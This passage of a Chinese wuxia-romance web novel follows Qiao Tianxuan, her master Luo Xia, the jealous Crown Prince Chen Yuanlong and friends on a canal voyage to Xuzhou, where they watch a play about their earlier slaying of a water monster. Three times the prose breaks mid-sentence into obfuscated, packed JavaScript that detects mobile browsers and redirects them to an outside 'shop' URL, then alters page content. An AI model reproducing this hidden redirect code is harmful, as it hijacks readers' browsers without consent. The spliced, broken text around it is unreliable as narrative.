那精瘦男子瞪着身前壮硕的阿华,用他那公鸭嗓道:“快说!你是怎么凑够这五十五两银子的?!” 阿华已经把债还清了,此时的他身无债务,也没有害怕债主的理由了。他理直气壮道:“我都说了两遍了,银子是跟雷家大公子斗鸡斗赢了换来的!” 乔天璇道:“看来那个瘦得跟麻秆似的人就是酒商范誉才了。” 范誉才不可置信地瞪着阿华,“呸”了一声,道:“阿华,你说什么瞎话呢?这地儿就没人能斗鸡赢得了雷家大公子!我记得你不是才输给过雷家大公子一次吗?还由于输了,你被迫脱光衣服上街跑了一圈,别以为我不知道!” 阿华又被别人提起这件事,顿时羞红了脸,怒道:“又赢了!然后我又赢了一次!我已经把债给还清了!范誉才,你说话注意点,可不要得寸进尺!” 范誉才似是回想起了方才阿华给他的那五十五两银子的确是货真价实的银子,一两都不假。他的声音不禁放小了些许:“阿华,你是怎么用鸡斗赢了那雷家大公子的斗鸡的啊?” 阿华道:“我怎么赢的与你何干?既然我已经把债都给还清了,那你现在就该立刻马上把我的家当全都还给我!” 范誉才狡黠一笑,道:“你若是不告诉我斗鸡赢钱的方法,你的家当我就不还给你。” “……” “我们要不要去给阿华帮忙?”花蕊转头看向了乔天璇,语气有些犹豫。 乔天璇摇头道:“不必,就阿华那大块头,他要是发起火来,范誉才和他那一群小弟都不会是阿华的对手。” 果然,阿华大抵是这段时间被作为债主的范誉才给欺负狠了,他猛地一拳朝着范誉才的脑袋上挥了去,暴怒道:“我都已经还清我爹的债了,你还用我的家当来要挟我?!” 范誉才被阿华一拳打得七荤八素,一屁股跌坐在地,眼冒金星,顿时气急败坏道:“大家上!好好教训一下这个欠债的人!” “我没欠债!我没欠债!我已经把我爹的债给还清了!还清了!”阿华心中的怒火在这一刻彻底爆发,对范誉才的小弟们拳打脚踢。 眼前的画面精彩得令路过的行人全都驻了足,好奇地看着范誉才的小弟们被阿华当成垃圾一样一个个的到处乱甩。 最后,范誉才的小弟无一例外全部倒地不起,只剩阿华一个人站在范誉才的身前。 范誉才这会儿已经爬了起来,他看了看周围地上满是疼得哭爹喊娘的小弟,脸上的神色当即一变,惊惊慌慌地看着眼前怒气横生的阿华,和和气气道:“你的家当我会让人给你送回去的,阿华,你放心就好,放心就好……” “现在就让人送回去!现在!!!”阿华喘着粗气,身上的肌肉一块一块起伏着,手臂上青筋暴起,仿佛还能再打一轮。 此刻的阿华毫无耐心,跟之前与乔天璇一行人一起时简直判若两人。 “好好好好好,我现在就叫人送回去!”范誉才许是真的害怕阿华了,他慌忙跑回了酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025598|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺子,阿华则紧随其后,双拳紧握,给人感觉随时都能和人干仗。 乔天璇放心道:“我们走吧,阿华已经把债都还清了,而且那是阿华给他爹还的债,又不是阿华自己欠的债。阿华出于良心,已经做完了他觉得他应该做的事情。之后范誉才要是敢对阿华不利,阿华也不会任由范誉才欺负了。” “哦,良心……这样说来,阿华其实是因为善良,所以才会在范誉才一开始踏破他的家门去要债,要不到债后搬光他的家当时没有动手打人,而是想办法去还债的吧?”花蕊若有所思。 乔天璇肯定道:“没错,要不是阿华善良,有良心,以阿华的体格子,范誉才早就被阿华给打死了,才不会想办法去给自己的爹还债。毕竟要是把债主给打死了,那就没有这个所谓的债主来追债了。” “这样看来阿华可真是善良。”花蕊恍然大悟。 乔天璇转身往前方走着,边走边道:“阿华若是不善良,凭着他那壮硕的体格子,估计早就已经是这一带的恶霸了。谁不给他借钱就打死谁,谁来要债就打死谁。” 众人赶紧跟上了乔天璇的步伐。 祝源喃喃道:“还好阿华是个善良人。” 洛侠道:“他没有把我的徒儿给说出来,没让范誉才知道是我的徒儿帮他斗鸡赢来的钱,便足以看得出他是个善良人。要不然范誉才就得来寻我的徒儿给他斗鸡了。” “……是哦。”花蕊后知后觉。 陈渊龙瞟了一眼走在乔天璇身旁的洛侠,眼中的寒意不断升起。 此时,洛侠走在乔天璇的左边,花蕊走在乔天璇的右边,祝源和陈渊龙分别跟在花蕊和乔天璇的身后。 “师父,接下来我们该往哪里走啊?我真想现在就去到那些来仙落岛上杀人的家伙的老巢,把他们给全部干掉!为仙落岛上的大家和大将军报仇!”乔天璇眼巴巴地望着身旁的洛侠。 洛侠叹息一声,道:“先往徐州的方向走吧,往徐州的路会好走一些。” “好,听师父的。”乔天璇点了点头。 陈渊龙突然道:“我们走水路吧。” “水路?”乔天璇一愣,转头望向了陈渊龙。 陈渊龙道:“此地距离淮扬运河的其中一处码头不远,从淮扬运河走水路到徐州会快很多。” “淮扬运河?”祝源看向了陈渊龙,眼中泛起疑惑。 他是土生土长的仙落岛人,这次是他头一回出岛,自然不知这淮扬运河。 但乔天璇倒是对淮扬运河略知一二。 此河的确能让人坐船从淮南通往徐州,而且比起用腿走路要快多了。 乔天璇道:“船费你给?” 陈渊龙道:“自然。” 乔天璇道:“好啊,那你来带路去淮扬运河的码头。” “嗯。”陈渊龙立马走到了最前面。 乔天璇能明显感觉得到陈渊龙走到了洛侠的身前,而且故意放慢了脚步。他的意图很明显,就是想要把洛侠从乔天璇的身旁挤到后面去,好让自己与乔天璇走在同一排。 洛侠默默往后退了退。 乔天璇一把抓住洛侠的手臂,不让洛侠后退,且与洛侠靠紧在了一起。 如此一来,陈渊龙再往后一退,他便发现身旁是被乔天璇紧靠着的洛侠,而他并没有把洛侠给挤到后面去。 顿时,陈渊龙一边的眼尾不由得抽搐了一下,脸色变得极其难看。 对他来说,现在这情况还不如他跟在乔天璇后面呢。至少他跟在乔天璇身后时乔天璇没有这般紧靠着洛侠,与洛侠之间还是保持了些许距离隔开着同行的,哪儿会像这样?搞得乔天璇与洛侠像是热恋中的情侣,而他陈渊龙则像是那个不知好歹的插足者。 “殿下,你走得好慢啊,要不然你还是跟在我们后面吧。等会儿我随便找个路人问一下路,估计就能问到淮扬运河最近的码头的位置了。” 说着,乔天璇把头歪靠在了洛侠的肩膀上,一只手把洛侠挨着自己那一边的手臂给环了起来。 24. 淮扬之水(一) 陈渊龙心中虽然对眼前的画面感到怒不可遏,醋意横生,但他想到洛侠是乔天璇的师父,而他跟乔天璇现在什么关系都不是,实在是无可奈何。 “太子殿下?你还要给我们带路吗?”乔天璇歪头在洛侠的肩膀上瞟着陈渊龙。 陈渊龙转眼不看乔天璇与洛侠,想着眼不见为净。 可他又怎会舍得不看乔天璇? 只不过现在的他只能按捺着怒火和醋意,加快脚步走到了最前面带路,心中暗暗想着若是走快一些,乔天璇一路上挨着靠着洛侠的时间就能少一些。 与洛侠相比,现在的他实在是比不过。 瞟着身前加快了步子的陈渊龙,乔天璇心中一乐。 把陈渊龙惹生气是她的一大乐趣。从前是,现在也是。 就如陈渊龙所说,此地距离淮扬运河的其中一处码头不远,大概走了一个时辰,乔天璇一行人就到达了码头。 面对眼前宽大的河流,祝源像是看到了什么神奇的事物一样,欢喜道:“好大的河!好大的船!” 乔天璇环着洛侠的手臂走了一路,她的手也有些酸了。见祝源第一次看到如此大的河,神情兴奋至极,她离了洛侠,一手揽住花蕊的肩膀,另一只手指着前方的大河,一本正经道:“玉心的小书生,这便是淮扬运河,此河支流众多,四通八达,壮观吗?厉害吗?” 花蕊转头瞧着祝源,一脸看乡巴佬的表情道:“我之前就来过一次。” 祝源望着淮扬运河的表情甚是夸张,他情不自禁感叹道:“应是天教开汴水,一千余里地无山[1]!” “书呆子,我们不久前才去山上捉过山鸡。” 说这句话时,花蕊故意把两个“山”字说得特别大声特别重。 “哎呀,别这么较真嘛。”祝源为难地笑了笑。 乔天璇对花蕊道:“我们去捉山鸡的那个地方顶多算个树多的山坡。这地儿没有太高的山,那个树多的山坡便在这里的人们眼中算得上一座山了。” “原来如此。”花蕊若有所思。 陈渊龙走在最前面,他一脸冷漠地走向了码头上负责船只的人面前,一把亮出了他的太子令牌。 那人看到太子令牌后先是一愣,随即慌忙跪了下来,声音颤抖道:“参、参见太子殿下!不知太子殿下有何、何吩咐?” 陈渊龙道:“我现在要一艘能够搭载五个人的大船,单程去往徐州。” “有、有有有、有的!”那人惶恐至极,连连点头。 陈渊龙收好太子令牌,从怀中摸出银两,半蹲下身子塞到了那人手中,道:“马上去备船。” 那人见陈渊龙半蹲了下来,赶忙改跪为趴。 他趴在地上看着手中陈渊龙塞过来的银两,哆嗦道:“太子殿下,钱多、多了。” 陈渊龙面无表情道:“拿好,快去。” “是、是!太子殿下请稍等!”那人拿着银两连滚带爬站起了身,快步冲向了不远处的一群船工,大声道:“马上备船!要最大最好最新的那艘船!马上!!!” “……” 片刻后,五人坐在了一艘又大又好又新,一共有三层的船上。 此时,五人都位于船的第一层。 花蕊忍不住道了一句:“好空。” 乔天璇道:“除了开船的船夫,这艘这么大的船上就只有我们五位乘客,能不空嘛。” 祝源道:“既然人少,那我们正好可以好好观赏一下淮扬运河两岸的风景,也不用担心被其他人打扰了!” 说完,祝源起身大步走出了船舱。 “喂,书呆子,小心点,别一脚没站稳掉进淮扬运河里喂鱼去了!”花蕊站起身,一脸不耐烦地甩着手跟在了祝源的身后,与祝源一前一后出了船舱来到了船外面的甲板上。 走了两人,船舱内就只剩下乔天璇、陈渊龙、洛侠三人。 气氛一时间变得有些奇怪。 “嗯……我去瞧瞧楼上!”乔天璇起身就往楼梯的方向走去。 她可不太想身处在这奇怪的气氛当中,得赶紧找了个借口开溜。 然而,身后的陈渊龙和洛侠异口同声道:“我也去。” “……” “随便你们。”乔天璇敷衍着,走向楼梯的步子迈得更快。她完全不看身后的两人,自顾自快步小跑上了第二层。 船的第二层有四间休息的房间,乔天璇赶忙往东北角的那间房走去。 身后陈渊龙和洛侠的脚步越来越近了,乔天璇赶到房间门口,往里头一瞧,见房内桌榻窗户什么的样样不缺,是个休息的好地方,当即大步走向了榻,往后一仰摆了个大字形躺倒在了上面。 刚躺倒,乔天璇的余光就瞥见陈渊龙和洛侠也来到了房门口。 “这船真不错,居然还有睡觉的地方。”乔天璇懒洋洋地说着。 洛侠先一步走到了乔天璇身旁,道:“累了?” “当然累了,好困,想睡觉。”乔天璇闭上了双眼,打算就这么睡一会儿。 “那为师在旁边陪你。” 洛侠话音刚落,乔天璇就感觉自己所躺的榻上多了一个坐着的人。 下一刻,乔天璇听到房里的一张椅子被人坐上之后发出了“嘎吱”一声响。 乔天璇把眼睛睁开一条缝瞧了过去,见坐在椅子上的人是陈渊龙。 她连忙把眼睛闭上,一心一意睡觉,哪怕其实根本睡不着。 师父在身旁守着,乔天璇自然安心。但现在房里还有个太子陈渊龙,那乔天璇可就没法安心了。 好想让陈渊龙离开啊! 乔天璇烦闷极了。 大伙儿之所以能坐上这艘豪华大船,还得归功于陈渊龙花了钱。不管怎么说,乔天璇都不太好对一个给大家花钱了的人下逐客令。 唉,真难搞…… 乔天璇躺了一会儿,心中一想到房里还有个陈渊龙就感到愈发不安,不由得伸手抓住了洛侠一边的衣袖。 “怎么了?” 洛侠的声音从上方传来。 乔天璇道:“师父,我想听睡前故事。” “睡前故事?”洛侠转头望向了窗户,语气平和道:“一日,一个樵夫砍完柴后傍晚来到了回家必经的一条河边,却见早晨的小河此时变成了一条宽阔的大河,桥上的小木桥也早已被冲毁得无影无踪。樵夫回不了家了,只好无奈地冲着大河大喊‘我要回家’和‘大桥快出现’。樵夫喊了好一会儿,一个美丽的女子突然从大河中冒出上半身,她对着樵夫大喊‘我就是大桥’和‘我带你回家’。” 乔天璇有气无力道:“那美丽的女子居然不是问樵夫是不是掉了斧头,掉的是金斧头还是银斧头还是铁斧头。” 洛侠轻声一笑,垂眸对乔天璇道:“那个为师之前已经给你当睡前故事讲过很多遍了,这次为师给你讲个新的。” 此话一出,乔天璇便清楚地听到坐在房内椅子上的陈渊龙变换了一下坐姿,似乎有些不耐烦。 乔天璇心生一计,对洛侠道:“师父,就讲那个金斧头银斧头铁斧头的故事,我爱听。” “好吧。”洛侠无奈地摇了摇头,继续道:“一日,一个樵夫砍完柴后傍晚来到了回家必经的一条河边,他在过桥的时候不小心把斧头掉到了河里面,不禁大喊‘我的斧头!’。这时,河神从河里冒了出来,一手拿着一把金斧头,一手拿着一把银斧头。河神问樵夫‘年轻的樵夫哟,请问你掉的是这把金斧头?还是这把银斧头?’。” 乔天璇闭着眼抢话:“然后年轻的樵夫就对河神说自己掉的是一把铁斧头。然后河神就因为樵夫的诚实,不单止把铁斧头还给了樵夫,还把金斧头和银斧头都送给了樵夫。然后樵夫就用金斧头和银斧头换了很多很多钱。然后樵夫就过上了幸福快乐的生活!” “看来我的徒儿已经对这个睡前故事很熟悉了。”洛侠轻轻抚了抚乔天璇的头发。 “哎呀师父……”乔天璇捏着撒娇的声音,害羞似地扯了扯洛侠的衣袖。 “好了好了,璇儿乖。”洛侠温柔地将乔天璇扯着他衣袖的手和他的衣袖分开。 乔天璇再仔细一听,果然听到陈渊龙的呼吸声都变得急促不安了。 想来陈渊龙是真的见不得洛侠与自己亲密的样子。 既然如此,那就再亲密一点,直到让陈渊龙实在是受不了了,让他自己走出这个房间。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025599|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >乔天璇撒娇道:“师父,我想……” “云天!” 花蕊的声音突然在房门口响起。 乔天璇猛然睁眼,看向了房门口处的那一抹鹅黄。 祝源气喘吁吁的声音随之响起:“我就说他们若是不在第一层的话那肯定就在第二层,哪儿可能会跟你说的那样全都被妖怪给抓走了啊?” 乔天璇:“……” 花蕊嘟囔道:“我就是说说而已。” “什么事?”乔天璇坐起了身。 花蕊欢喜地跑到了乔天璇身前,兴奋道:“外面的天现在好好看!我们快一起去甲板上看看天吧!” “天?”乔天璇下了榻,走到了窗户前往外望去,顿时一惊。 天边在逐渐泛出红色的晚霞,太阳看起来比平时大了许多,而且在红色晚霞的映衬下变成了极亮的白金色,整片天空宛如一幅巨大的画。 “走!我们出去甲板上看!”乔天璇拉起花蕊的手便往房外跑去。 “哎,等等我!”祝源连忙跟上花蕊。 花蕊道:“去第三层看!” “好嘞!”乔天璇拉着花蕊直奔楼梯,快步上到了第三层。 船的第三层看起来是个吃饭的地方,但乔天璇现在可不关心这个了,她要看漂亮的晚霞。 来到了第三层的外廊上后,乔天璇抬头望天,只见绯红满天,一轮白金色的大太阳正在缓缓落下水面,映照得水面波光粼粼,仿佛落了一层金。 “真漂亮啊……”乔天璇情不自禁感叹。 祝源来了兴致,高声道:“铺水面辉辉晚霞[2],点船头道道水花!” “书呆子!”花蕊踢了一脚身旁的祝源。 “呀!”祝源被花蕊踢得往一旁跳了跳。 “果真好看。” 洛侠的声音由后方来到乔天璇身旁。 乔天璇依旧望着天,道:“不知师父如何评价这晚霞?” 洛侠道:“方才祝源小兄弟就说得不错。” 乔天璇扯了扯洛侠的衣袖,道:“我要听师父自己说的!” 洛侠勉强一笑,道:“可惜为师一介武夫,不会作诗。望着这天,只能叹一个‘绝’字!” “绝?‘绝’好啊!”乔天璇开心大笑:“哈哈哈哈绝!哈哈哈哈哈……” 一时间,伴随着河面上拂过几人的风声,少女高兴的笑声回荡在天与河之间。 此刻,乔天璇感觉到了身后传来的温度。 她根本不用回头看就知道身后靠近了自己的人是陈渊龙。 但陈渊龙十分有分寸,他并没有紧挨在乔天璇的身后,而是与乔天璇保持了些许距离。 五人齐齐看着落日晚霞,一直到太阳彻底落下,绯红晚霞变为了满天繁星。 乔天璇道:“天黑了,我们先回第二层的房间休息吧。” “嗯嗯好。”花蕊点头。 乔天璇就如一开始拉着花蕊上来第三层那会儿一样,她又拉着花蕊下到了第二层,并且和花蕊一起走向了东北角的房间。 月光透过窗户洒落在房内,照得地上仿若有霜。 “今晚我和阿蕊睡这间房,其余的三间房你们自便。”乔天璇望着眼前跟着自己和花蕊下了来第二层后又一路跟到了房间门口的陈渊龙、洛侠、祝源三人,语气十分霸道。 “那我要东南角的那间房!”祝源转身就往东南角的房间兴高采烈地走了去。 房门口剩下的陈渊龙和洛侠互相看了对方一眼。 陈渊龙二话不说,直接转身走向了房门差不多挨着乔天璇和花蕊这间房的房门的西北角的房间。 洛侠也清楚这船是陈渊龙花的钱,他自然不与陈渊龙争。 在去往西南角的房间休息之前,洛侠对乔天璇道:“睡觉前记得关好门,若是害怕,随时可以来房间找为师。” “好的!师父放心吧。”乔天璇点了点头。 不知为何,乔天璇在答应了洛侠的话后,她似乎听到旁边房间中传来了陈渊龙“哼”的一声,不由得心头一紧。 于是,在洛侠离开之后,乔天璇不单止关好了门,还用白日里陈渊龙坐过的那张椅子顶住了门。 25. 淮扬之水(二) 大概是因为用椅子顶住了门,所以即便外面有人想进来却怎么推门都推不开,乔天璇这一夜睡得很是安稳。 “天亮了,哈……欠……亮了啊……” 身旁的花蕊迷迷糊糊睁开了眼,嘴里口齿不清地嘀咕着。 乔天璇也睁开了眼,看到天的确亮了,然后又闭眼继续睡了。 不知过了多久,乔天璇忽然被一阵敲门声给惊醒。 “起床!璇儿!起床了!” “……师父?师父的声音?师父……师父!!!”乔天璇猛然清醒。 她慌忙从榻上弹了起来,跑到房门前移开了椅子,打开了房门。 此时,洛侠正站在房门口。他看着睡眼惺忪衣衫凌乱的乔天璇,伸手轻轻顺了顺乔天璇一缕翘起的头发,柔声道:“璇儿,我们已经到徐州了。船很快就会靠岸,赶紧收拾准备一下吧。” “好!”乔天璇连忙返回榻边,用力摇了摇榻上还睡着的花蕊,喊道:“起床了!要到地方了!阿蕊,玉心!心心!心心心!快起床!” “嗯……起床……”花蕊懒懒地睁开了眼,慢悠悠地坐起了身子。 乔天璇道:“师父来喊我们起床了,船已经到徐州了,很快就会靠岸,我们快收拾收拾准备上岸!” “哦。”花蕊揉了揉眼睛,转头见到了房门口的洛侠,总算是清醒了一些。 “我关门了,你们收拾好了就下来。”洛侠离开前带上了房门。 花蕊打了个哈欠,无精打采道:“就到了啊,好快啊。” “我们几乎一直在睡,当然觉得快了。”乔天璇整理了一下自己睡得凌乱的衣衫。 “也好,等会儿上岸了就能去吃好吃的了。”花蕊越说越开心。 说到吃的,乔天璇和花蕊都来了精神,加快了收拾打扮的速度。 船开得越来越慢,看样子像是快要靠岸了。 在离开房间之前,乔天璇最后瞅了一眼房间的窗户,见窗外的河面上飞着许多白鸟。 白鸟们的鸣叫声嘹亮悠扬,十分悦耳。 此刻,晴空万里,万里无云。 乔天璇拉着花蕊的手走出了房门,一起下了楼梯来到了第一层,见陈渊龙、洛侠、祝源这会儿都已经在第一层坐着了。 祝源看到了花蕊,当即高兴道:“阿蕊!你终于起床了!” “书呆子。”花蕊懒洋洋地瞟着祝源,撇了撇嘴。 洛侠道:“马上就要靠岸了,大家不要忘记拿东西了。” “好。”乔天璇回忆了一下刚刚离开的房间,想着自己并没有落下什么东西。 “背着呢。”祝源回头看了一眼自己背上背着的箱笼。 陈渊龙望着乔天璇,乔天璇却望着洛侠,高兴道:“师父,去年我们三侠行客也来过这儿的附近。但是我们不是坐船来的,而是用双腿走过来的。” 洛侠道:“我听你说过,你们为了追回镇玉跑了好远的路,去了好多地方。” 乔天璇道:“没错!这里就是其中一个我们去过的地方!只是之前这里闹水怪,那水怪吃人,搞得岸边荒芜萧条,我们三侠行客便为此地的百姓除了那只水怪。现在一年过去了,也不知此地如何了。” “既然可以通船,还能放心让载着太子殿下的船只通过,那就说明此地已经无事了。” 说着,洛侠看了一眼陈渊龙。 “对哦。”乔天璇也看向了陈渊龙,结果目光一下子就跟陈渊龙对上了。 陈渊龙道:“那只水怪好除吗?” “不好啊。”乔天璇添油加醋道:“可难除了,我们费了九牛二虎之力,使尽浑身解数,累得我们事后睡了三天三夜,你说是吧?玉心女侠?” 感受到了乔天璇向自己投来的目光,花蕊故作严肃地“咳咳”了两声,道:“是啊,可难除了!当时我们三侠行客分工合作,齐心协力,几乎竭尽全力才把那水怪给灭了!” 洛侠轻轻笑道:“值得赞赏。” 乔天璇惋惜道:“可惜怀风兄已故,听不到师父的赞赏了。” “对啊,小风子啊……都怪那些偷走镇玉的人。”花蕊眼中泛起了悲伤与愤怒。 陈渊龙道:“三侠行客除水怪护百姓有功,我回宫之后定会赏赐你们。” “那就多谢太子殿下了。”乔天璇故作郑重地对陈渊龙弯腰低头拱了拱手。 “多谢太子殿下。”花蕊连忙有样学样乔天璇的动作。 “多谢太子殿下。”洛侠也转身对陈渊龙弯腰低头拱手。 如此一来,陈渊龙一边的嘴角却似是不甘心地抽了抽。 他本是打算用赏赐来哄乔天璇,好让乔天璇对自己多些好感,与乔天璇拉近一点关系,不曾想一下子搞成了这般严肃的场面。眼前三人齐齐向自己弯腰低头拱手行礼道谢,自己所答应的赏赐对自己与乔天璇拉近关系的作用没有起到半点。 当然,乔天璇完全猜得到这些,不由得心中暗暗乐着。 她就喜欢看陈渊龙这副没法得逞的样子。 “好了平身。”陈渊龙语气平淡,神情极其淡漠。 “是。”三人虽是答应,但语气十分轻松。尤其是乔天璇,没有丝毫对上位者的恭敬之感。 一旁的祝源看得一愣一愣的,他差点也想要跟着眼前三人一起对陈渊龙弯腰低头拱手行礼道谢了。只不过在这之前,他突然反应过来他并没有除水怪的能力,也没有参与除水怪的事情,此事压根与他无关啊! 片刻后,船在摇晃中靠岸了。 五人下了船,上岸后踏上了徐州大地。 码头边十分热闹,有许多卖吃食的小摊贩,香味扑鼻而来。 乔天璇道:“我们去吃些东西吧!” 花蕊道:“对啊!好饿啊!” 洛侠对陈渊龙道:“殿下,我们就先去吃东西吧?” “嗯。”陈渊龙点了一下头,观察了一下周围的一切。 没有了水怪的侵袭,此地一片繁荣之景,吆喝叫卖声四起,满是烟火气息。 乔天璇和花蕊沿着码头边的小摊贩边走边看,见到心仪的小吃就买来拿着,边走边吃。 乔天璇手里有自己赚来的钱,她花得心安理得。反正现在心情好,她就把花蕊的那一份钱也给付了。 “云天最好了!云天天下第一好!”花蕊开心地拱了拱乔天璇。 乔天璇得意一笑,狂傲道:“那是!我自然是天下第一好!” 两人欢欢喜喜走在前面,陈渊龙、洛侠、祝源默默地跟在后面,画面看起来一片祥和。 五人走着走着就来到了一家烤鱼馆子。 虽说是烤鱼馆子,但也不仅有烤鱼,还有烤虾、烤蟹。 这烤鱼、烤虾、烤蟹的香味同时飘散在空气中,直钻人的鼻孔。乔天璇猛吸一口,脱口而出:“香!” 花蕊也猛地吸了一口,问道:“我们吃吗?” 乔天璇道:“当然吃!” 这家烤鱼馆子的生意很好,给食客坐的桌凳不单止都摆到馆子外面来了,还摆了很大一圈地方,坐得满满当当,这会儿已经没有多余的空位了。 烤鱼馆子的前面不远处有一个戏台,许多食客都是一边听戏一边吃烤鱼、烤虾、烤蟹。 戏台那儿也围了不少观众,都盯着戏台上的演绎聚精会神地看。 “咦?!”花蕊突然道:“有人吃完了,有空位了!我们快去占座儿!!!” 乔天璇望了过去,果真看到有一桌子的人吃完了,正打算离开。 “快走!”乔天璇连忙往那处走去。 空出来的位置是一张四方形的木桌,坐宽松些的话可以坐四个人,坐挤一点的话可以坐八个人。 想到身后还有三人,乔天璇自然而然和花蕊挤在了其中一边,两人同坐在一条凳子上。 这样其余三边就任由那三人自己选了。 陈渊龙一下子就抢先坐到了乔天璇和花蕊对面的位置,与乔天璇面对着面。 乔天璇心中一沉。 该死,居然忽略了这个!应该让花蕊坐自己对面的位置的!刚刚怎么就没想到让花蕊和祝源一起坐在自己对面的位置啊! 然而,一切为时已晚,大家都已经赶到了这张桌子旁。洛侠来到挨着乔天璇的那一边坐了下来,祝源来到挨着花蕊的那一边坐了下来。 烤鱼馆子的伙计手脚麻利地给乔天璇这一桌收拾着上一批食客留下的残羹碗碟,热情地问道:“不知客官们想吃些什么?” 乔天璇道:“烤鱼、烤虾、烤蟹各一份,再来一杯水。” 花蕊道:“一样。” 祝源道:“一样。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025600|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >洛侠道:“一样。” “……” 伙计望向了还没说话的陈渊龙。 陈渊龙面无表情道:“一样。” “好嘞,客官们请稍等。” 说完,伙计把桌上上一批食客用过的碗碟全都给拿走了。 乔天璇不看眼前的陈渊龙,转头望向了不远处的戏台。 除了陈渊龙,另外三人在看到乔天璇望向了戏台之后也不由得望向了戏台。 戏台上正在演绎着一场大战。一位小生的戏服为碧蓝衣衫,一位花旦的戏服为艳丽的红衣白裙,另一位花旦的戏服为华丽的鹅黄衣裙。三人一同对战一位扮演怪物的丑角,打得惊天动地,伴随着“哇呀呀呀呀呀呀呀呀”的唱词,兵刃交战的声音此起彼伏。 看了没一会儿,乔天璇忍不住小声疑惑道:“这情节怎么感觉有些熟悉?” 花蕊怀疑道:“该不会演绎的是我们一年前与水怪的那场大战吧?” “是吗?!”乔天璇震惊地看向了花蕊,又望向了戏台,再看向了花蕊。 的确,当时除水怪的她如今日一般都是红衣白裙,花蕊也是一袭鹅黄衣裙,祝怀风则是一袭碧蓝衣衫,跟戏台上那三个戏子的穿衣颜色一模一样,只是戏子的戏服要夸张许多。 花蕊转头见到身旁的一桌有一个老叟吃着吃着就时不时看一眼戏台,脸上满是“早知就是这般”的神情。 “我去问问。”花蕊一下子站起了身,跑到了旁边一桌的老叟那儿。 “阿蕊?”祝源见花蕊到另一桌了,赶忙起身跟在了花蕊身后。 乔天璇见花蕊正问着呢,那老叟突然震惊地跳了起来,欢喜道:“您就是三侠行客的玉心女侠呐!能够再见到您,可真是老夫三生有幸!您知道吗?三侠行客就是我们这一带所有百姓的大恩人!那戏台子上现在演绎的就是三侠行客一年前在此地除水怪的事情!” “竟真是如此?”花蕊惊讶地望向了戏台,又看向了乔天璇。 老叟顺着花蕊的目光见到了乔天璇,顿时惊喜道:“还有云天女侠!” 乔天璇赶忙笑着点了点头,也起身来到了老叟身旁。 “哎?怎么不见风筝少侠?”老叟左看右看,并没有看到祝怀风,有些疑惑。 “他啊……回去之后不久就病死了。我和玉心埋葬了他,给他立碑、扫墓。”乔天璇满眼遗憾。 老叟听闻此事,无奈地叹息一声,道:“真是世事难料,这戏的结尾还被改编成了你们三人最后都飞升成仙,位列仙班了呢。” “成仙?!那可改编得太好了!我也希望小风子成仙了呢!”花蕊眼中的光立马都变得更亮了。 “对啊,改编得好……”乔天璇突然注意到周围的人都转眼望向了她和花蕊。 “那是、是云天女侠和玉心女侠!” “居然又看到她们了?!” “三生有幸啊!” “她们好像说……风筝少侠死了?” “而且是病死的?” “真是太可惜了……” “要不要跟戏班子说一声,让他们改一下结局?” “不!不用改!”乔天璇和花蕊当即齐声反对。 乔天璇认真道:“不管你们相不相信,反正我相信风筝已经飞升成仙了,你们呢?” 众人沉默了一瞬,皆是若有所思地点了点头。 “成仙这个结局的确很好。” “那就不跟戏班子说了,结局依旧是成仙吧。” “是啊,成仙好啊,谁不想成仙?” “就是就是……” 乔天璇拉着花蕊,边走回到座位边道:“那我们就来好好看看我们三人最终飞升成仙,位列仙班的结局吧。” “没错没错,看看!好看的!”老叟笑得有牙没眼,赞赏的目光一刻不离乔天璇和花蕊。 “被百姓们刮目相看了啊,真是了不起。”洛侠十分欣慰。 “还得归功于师父教得好,嘿嘿。”乔天璇对着洛侠开心地笑了笑,继续望向了戏台。 此时,陈渊龙不由得也望向了戏台的方向,面上的神情很是复杂。 “云天,蓝衣的那位演的是祝怀风?对吧?”陈渊龙突然向乔天璇发问。在提到“祝怀风”这个名字时,他的眼底无法克制地泛起了一丝醋意。 26. 淮扬之水(三) “对啊。”乔天璇依旧望着戏台看戏,并没有看陈渊龙。 此时,伙计把方才五人点的食物都送了上来。 乔天璇抓起水杯抿了一口水,随后拿起一串烤虾吃了起来。 除了又望向戏台看戏了的陈渊龙,其余三人也各自吃起了自己的那一份食物。 乔天璇悄悄瞟了一眼陈渊龙的表情,发现用“黑着一张脸”来形容现在的他再合适不过了。 很快,戏台上的演绎就来到了三侠行客飞升成仙,位列仙班的情节。 所有观众都看得聚精会神,边吃边看的人都停下了嘴里吃东西的动作。 戏子的演绎极好,乔天璇望着扮演祝怀风的蓝衣小生,不由得出神。 去年三侠行客在此地除水怪的画面历历在目。 当时,一袭碧蓝衣衫的祝怀风甩着他用抓螃蟹的器具改装成的九爪钩,灵活地对付水怪那每一条触手顶端都长着一只眼睛的十条触手。 